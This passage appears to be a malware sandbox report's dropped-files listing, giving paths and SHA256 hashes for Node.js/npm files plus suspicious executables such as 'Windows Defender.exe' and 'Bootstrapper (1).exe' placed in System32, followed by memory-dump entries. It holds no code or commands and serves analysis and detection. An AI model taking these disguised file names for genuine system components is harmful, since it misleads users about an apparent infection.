                • Path C:\Program Files\nodejs\node_modules\npm\node_modules\semver\classes\semver.js
                • Size 8KB
                • SHA256 9859c013ffb9f471ce781f2eb20d05c9fc46390aa2a6e841a331fdaff715f0e3
                • MD5 SHA1 SHA512 SSDEEP
                Submit Download

                parse.js
                • Path C:\Program Files\nodejs\node_modules\npm\node_modules\semver\functions\parse.js
                • Size 333B
                • SHA256 af01da654bb57a951d8ee8c55af7ff8717d5cba7f0f176a4eeac0116ccd2b962
                • MD5 SHA1 SHA512
                Submit Download

                valid.js
                • Path C:\Program Files\nodejs\node_modules\npm\node_modules\semver\functions\valid.js
                • Size 168B
                • SHA256 cc754d3b632ef37a372efa2c98125fa72305a8188c0af4178e7bf52fe65b81d8
                • MD5 SHA1 SHA512
                Submit Download

                constants.js
                • Path C:\Program Files\nodejs\node_modules\npm\node_modules\semver\internal\constants.js
                • Size 894B
                • SHA256 9abd31dfe1f2c010f37b4e9228012c45f09c6b54f4accb908978a45aa7f30553
                • MD5 SHA1 SHA512
                Submit Download

                debug.js
                • Path C:\Program Files\nodejs\node_modules\npm\node_modules\semver\internal\debug.js
                • Size 235B
                • SHA256 804aa8e68b8e54c523e260c311d590e6308fa312517696b927f66f84a30f0d9e
                • MD5 SHA1 SHA512
                Submit Download

                identifiers.js
                • Path C:\Program Files\nodejs\node_modules\npm\node_modules\semver\internal\identifiers.js
                • Size 433B
                • SHA256 1984455676a11039882414591db360998202559ea3d8641fdd4343c845c65a1b
                • MD5 SHA1 SHA512
                Submit Download

                parse-options.js
                • Path C:\Program Files\nodejs\node_modules\npm\node_modules\semver\internal\parse-options.js
                • Size 339B
                • SHA256 c691b9b39d2084e961cdcbf852aaae0d8889fa45c3a115747d85186bb3896132
                • MD5 SHA1 SHA512
                Submit Download

                re.js
                • Path C:\Program Files\nodejs\node_modules\npm\node_modules\semver\internal\re.js
                • Size 7KB
                • SHA256 685344c7a0b5b6aa5baba66894597f1a552d3135383465c0897032d32392427f
                • MD5 SHA1 SHA512 SSDEEP
                Submit Download

                package.json
                • Path C:\Program Files\nodejs\node_modules\npm\node_modules\semver\package.json
                • Size 1KB
                • SHA256 a820020098f708cb9f785b2b0a3ed55a67c16f049040cc134a473547e573a019
                • MD5 SHA1 SHA512
                Submit Download

                LICENSE
                • Path C:\Program Files\nodejs\node_modules\npm\node_modules\tar\node_modules\fs-minipass\node_modules\minipass\LICENSE
                • Size 802B
                • SHA256 04400db77d925de5b0264f6db5b44fe6f8b94f9419ad3473caaa8065c525c0be
                • MD5 SHA1 SHA512
                Submit Download

                index.js
                • Path C:\Program Files\nodejs\node_modules\npm\node_modules\tar\node_modules\fs-minipass\node_modules\minipass\index.js
                • Size 16KB
                • SHA256 7a395802fbe01bb3dc8d09586e0864f255874bf897378e546444fbaec29f54c5
                • MD5 SHA1 SHA512 SSDEEP
                Submit Download

                package.json
                • Path C:\Program Files\nodejs\node_modules\npm\node_modules\tar\node_modules\fs-minipass\node_modules\minipass\package.json
                • Size 1KB
                • SHA256 c3052bd85910be313e38ad355528d527b565e70ef15a784db3279649eee2ded5
                • MD5 SHA1 SHA512
                Submit Download

                LICENSE
                • Path C:\Program Files\nodejs\node_modules\npm\node_modules\tuf-js\node_modules\proc-log\LICENSE
                • Size 757B
                • SHA256 a5103404e4615fa1ed46aef13082dd287bf4b95964e71ffdf198984b3d5882b8
                • MD5 SHA1 SHA512
                Submit Download

                index.js
                • Path C:\Program Files\nodejs\node_modules\npm\node_modules\walk-up-path\dist\cjs\index.js
                • Size 474B
                • SHA256 4e86e409d7506477caee910cb50f5bff1dda477878da923bd3888501e1a04036
                • MD5 SHA1 SHA512
                Submit Download

                package.json
                • Path C:\Program Files\nodejs\node_modules\npm\node_modules\walk-up-path\package.json
                • Size 1KB
                • SHA256 2d43790293eb562918790e7fe2a786d86ed8e5a95b45d5e36587be0dbc8ddcd4
                • MD5 SHA1 SHA512
                Submit Download

                index.js
                • Path C:\Program Files\nodejs\node_modules\npm\node_modules\wrap-ansi\node_modules\emoji-regex\es2015\index.js
                • Size 17KB
                • SHA256 77f404d608e2a98f2a038a8aa91b83f0a6e3b4937e5de35a8dae0c23aa9ee573
                • MD5 SHA1 SHA512 SSDEEP
                Submit Download

                index.js
                • Path C:\Program Files\nodejs\node_modules\npm\node_modules\wrap-ansi\node_modules\emoji-regex\index.js
                • Size 15KB
                • SHA256 5b3c0ac6483d83e6c079f9ffd1c7a18e883a9aaeaedb2d65dd9d5f78153476b9
                • MD5 SHA1 SHA512 SSDEEP
                Submit Download

                npmrc
                • Path C:\Program Files\nodejs\node_modules\npm\npmrc
                • Size 23B
                • SHA256 7766240e8b776a73e171752eefea357293336b1208837cff11dbb20c5a3ba17b
                • MD5 SHA1 SHA512
                Submit Download

                package.json
                • Path C:\Program Files\nodejs\node_modules\npm\package.json
                • Size 6KB
                • SHA256 6f1feb793d2cfd5ba2c5c9aebe4cd7dbb2d44a401b99d48b14ea3b54cdef2446
                • MD5 SHA1 SHA512 SSDEEP
                Submit Download

                npm.cmd
                • Path C:\Program Files\nodejs\npm.cmd
                • Size 538B
                • SHA256 21b46c69ad6e2f231f02a9e120f4ba6c8e75fef5a45637103002eab99f888ab8
                • MD5 SHA1 SHA512
                Submit Download

                Node.js documentation.url
                • Path C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Node.js\Node.js documentation.url
                • Size 168B
                • SHA256 f6424b15af9a46f0ebef4cc2ca73a2b534ed22b2acec189ee9233fd815187e20
                • MD5 SHA1 SHA512
                Submit Download

                MSIA0D.tmp
                • Path C:\Users\Admin\AppData\Local\Temp\MSIA0D.tmp
                • Size 144KB
                • SHA256 c0e8683b697b3c6e55deb4497d3434d6e2cc841eb8c9a1b7d3f8907cff7de206
                • MD5 SHA1 SHA512 SSDEEP
                Submit Download

                MSIACA.tmp
                • Path C:\Users\Admin\AppData\Local\Temp\MSIACA.tmp
                • Size 390KB
                • SHA256 facf518f88cd67afd959c99c3ba233f78a4fbfe7fd3565489da74a585b55e9d1
                • MD5 SHA1 SHA512 SSDEEP
                Submit Download

                __PSScriptPolicyTest_anbh4hld.d0q.ps1
                • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_anbh4hld.d0q.ps1
                • Size 60B
                • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                • MD5 SHA1 SHA512
                Submit Download

                Windows Data Compiler.exe
                • Path C:\Users\Admin\AppData\Local\Windows Data Compiler.exe
                • Size 70KB
                • SHA256 4ca5140c99d8de2368886bba6650779a21fa314ff76050c519f755832c2eed79
                • MD5 SHA1 SHA512 SSDEEP
                Submit Download

                MSID060.tmp
                • Path C:\Windows\Installer\MSID060.tmp
                • Size 341KB
                • SHA256 2650b77afbbc1faacc91e20a08a89fc2756b9db702a8689d3cc92aa163919b34
                • MD5 SHA1 SHA512 SSDEEP
                Submit Download

                e586fdc.msi
                • Path C:\Windows\Installer\e586fdc.msi
                • Size 28.9MB
                • SHA256 9eea480bd30c98ae11a97cb89a9278235cbbbd03c171ee5e5198bd86b7965b4b
                • MD5 SHA1 SHA512 SSDEEP
                Submit Download

                Bootstrapper (1).exe
                • Path C:\Windows\System32\Bootstrapper (1).exe
                • Size 41KB
                • SHA256 a1a07df1aed70884029f7ec5c8ce2b1842b42fccf1a2ad416d852beb20b1c922
                • MD5 SHA1 SHA512 SSDEEP
                Submit Download

                Windows Defender.exe
                • Path C:\Windows\System32\Windows Defender.exe
                • Size 45KB
                • SHA256 2206793d966a2b0c1aa9aba3b86b80c31647c91332b2ace730190019ec0d430f
                • MD5 SHA1 SHA512 SSDEEP
                Submit Download

                metadata-2
                • Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
                • Size 24.1MB
                • SHA256 ae0e4e5f960a965df8b1841d345623b153b482740c7d92ee608a5c2997d87678
                • MD5 SHA1 SHA512 SSDEEP
                Submit Download

                {5380e101-34f3-4426-88f8-775201faf881}_OnDiskSnapshotProp
                • Path \??\Volume{62c5c1e3-0000-0000-0000-d01200000000}\System Volume Information\SPP\OnlineMetadataCache\{5380e101-34f3-4426-88f8-775201faf881}_OnDiskSnapshotProp
                • Size 6KB
                • SHA256 02e661621287903cb611bf973c7ab73823f86565af64d2c9f96eea2fcffcafed
                • MD5 SHA1 SHA512 SSDEEP
                Submit Download

                memory/848-2749-0x0000026649AC0000-0x0000026649AE2000-memory.dmp
                Download

                memory/2180-2662-0x00000266B32C0000-0x00000266B32C1000-memory.dmp
                Download

                memory/2180-2655-0x00000266B32C0000-0x00000266B32C1000-memory.dmp
                Download

                memory/2180-2664-0x00000266B32C0000-0x00000266B32C1000-memory.dmp
                Download

                memory/2180-2661-0x00000266B32C0000-0x00000266B32C1000-memory.dmp
                Download

                memory/2180-2660-0x00000266B32C0000-0x00000266B32C1000-memory.dmp
                Download

                memory/2180-2665-0x00000266B32C0000-0x00000266B32C1000-memory.dmp
                Download

                memory/2180-2666-0x00000266B32C0000-0x00000266B32C1000-memory.dmp
                Download

                memory/2180-2663-0x00000266B32C0000-0x00000266B32C1000-memory.dmp
                Download

                memory/2180-2654-0x00000266B32C0000-0x00000266B32C1000-memory.dmp
                Download

                memory/2180-2656-0x00000266B32C0000-0x00000266B32C1000-memory.dmp
                Download

                memory/2388-2757-0x00000000002D0000-0x00000000002EE000-memory.dmp
                Download

                memory/3200-2790-0x0000000000190000-0x00000000001A0000-memory.dmp
                Download

                memory/3652-2770-0x0000000000D40000-0x0000000000D58000-memory.dmp
                Download

                memory/4636-2812-0x0000000000D00000-0x0000000000D12000-memory.dmp
                Download